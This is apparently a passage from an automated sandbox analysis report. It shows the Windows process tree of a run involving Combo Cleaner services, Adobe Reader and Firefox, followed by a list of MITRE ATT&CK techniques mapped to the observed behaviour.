"C:\Program Files (x86)\Combo Cleaner\ComboCleaner.WinService.exe"
1⤵
PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net start trufos
  2⤵
  PID:3428
- - C:\Windows\system32\net.exe
    net start trufos
    3⤵
    PID:1408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start trufos
      4⤵
      PID:1312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net start bddci
  2⤵
  PID:3292
- - C:\Windows\system32\net.exe
    net start bddci
    3⤵
    PID:2948
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start bddci
      4⤵
      PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net start gzflt
  2⤵
  PID:316
- - C:\Windows\system32\net.exe
    net start gzflt
    3⤵
    PID:2680
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start gzflt
      4⤵
      PID:2540

C:\Program Files (x86)\Combo Cleaner\ComboCleaner.Guard.exe
"C:\Program Files (x86)\Combo Cleaner\ComboCleaner.Guard.exe"
1⤵
PID:2832

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe"
1⤵
PID:2688

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe"
1⤵
PID:2248

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:4476
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:1240
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.0.2012611731\1333347614" -parentBuildID 20221007134813 -prefsHandle 1228 -prefMapHandle 1220 -prefsLen 18084 -prefMapSize 231738 -appDir "C:\Program Files\Mozilla Firefox\browser" - {61a3e01c-d86d-41e4-bb7e-bef857bbae38} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 1284 f9f4058 socket
    3⤵
    PID:3824
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.1.381164318\952450231" -parentBuildID 20221007134813 -prefsHandle 1756 -prefMapHandle 1740 -prefsLen 19179 -prefMapSize 231738 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e141143-401b-48a4-b147-098d4ba47330} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 1956 14392458 gpu
    3⤵
    PID:5036
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.2.301523562\378480093" -childID 1 -isForBrowser -prefsHandle 2600 -prefMapHandle 2596 -prefsLen 19930 -prefMapSize 231738 -jsInitHandle 808 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {39ad9694-9dc0-4698-b294-2c3c91eaf910} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 2612 1bab4858 tab
    3⤵
    PID:2168
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.3.403217802\507699318" -childID 2 -isForBrowser -prefsHandle 2684 -prefMapHandle 2700 -prefsLen 20017 -prefMapSize 231738 -jsInitHandle 808 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {22ca28e7-87d7-466e-ac45-261a9bec55a2} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 2676 1bf52158 tab
    3⤵
    PID:3056
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.4.389477020\2022565316" -childID 3 -isForBrowser -prefsHandle 3212 -prefMapHandle 3216 -prefsLen 26616 -prefMapSize 231738 -jsInitHandle 808 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e64bac4-54eb-4275-beec-a3dcbbaa1c16} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 3260 1e38f558 tab
    3⤵
    PID:3644
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.5.1853464233\1326755191" -parentBuildID 20221007134813 -prefsHandle 2484 -prefMapHandle 3420 -prefsLen 26616 -prefMapSize 231738 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c4be74f-6929-4c44-a0c8-950b6af17806} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 3212 1e354258 rdd
    3⤵
    PID:2332
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.6.60748658\1594718800" -childID 4 -isForBrowser -prefsHandle 3896 -prefMapHandle 3892 -prefsLen 27401 -prefMapSize 231738 -jsInitHandle 808 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5bf9e553-4910-431a-a48d-1db15dee6bd3} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 3368 16039858 tab
    3⤵
    PID:5092
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.7.1012267226\887847679" -childID 5 -isForBrowser -prefsHandle 3912 -prefMapHandle 3908 -prefsLen 27401 -prefMapSize 231738 -jsInitHandle 808 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a201b2eb-5fd7-4b26-86e0-8ffb1b369751} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 3944 20540558 tab
    3⤵
    PID:4584
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1240.8.478623646\874417771" -childID 6 -isForBrowser -prefsHandle 4152 -prefMapHandle 4288 -prefsLen 27401 -prefMapSize 231738 -jsInitHandle 808 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c46b914-106a-4f94-8280-9fb6af58214b} 1240 "\\.\pipe\gecko-crash-server-pipe.1240" 4136 f9f4c58 tab
    3⤵
    PID:3616

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:4524
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:2488

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2824

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery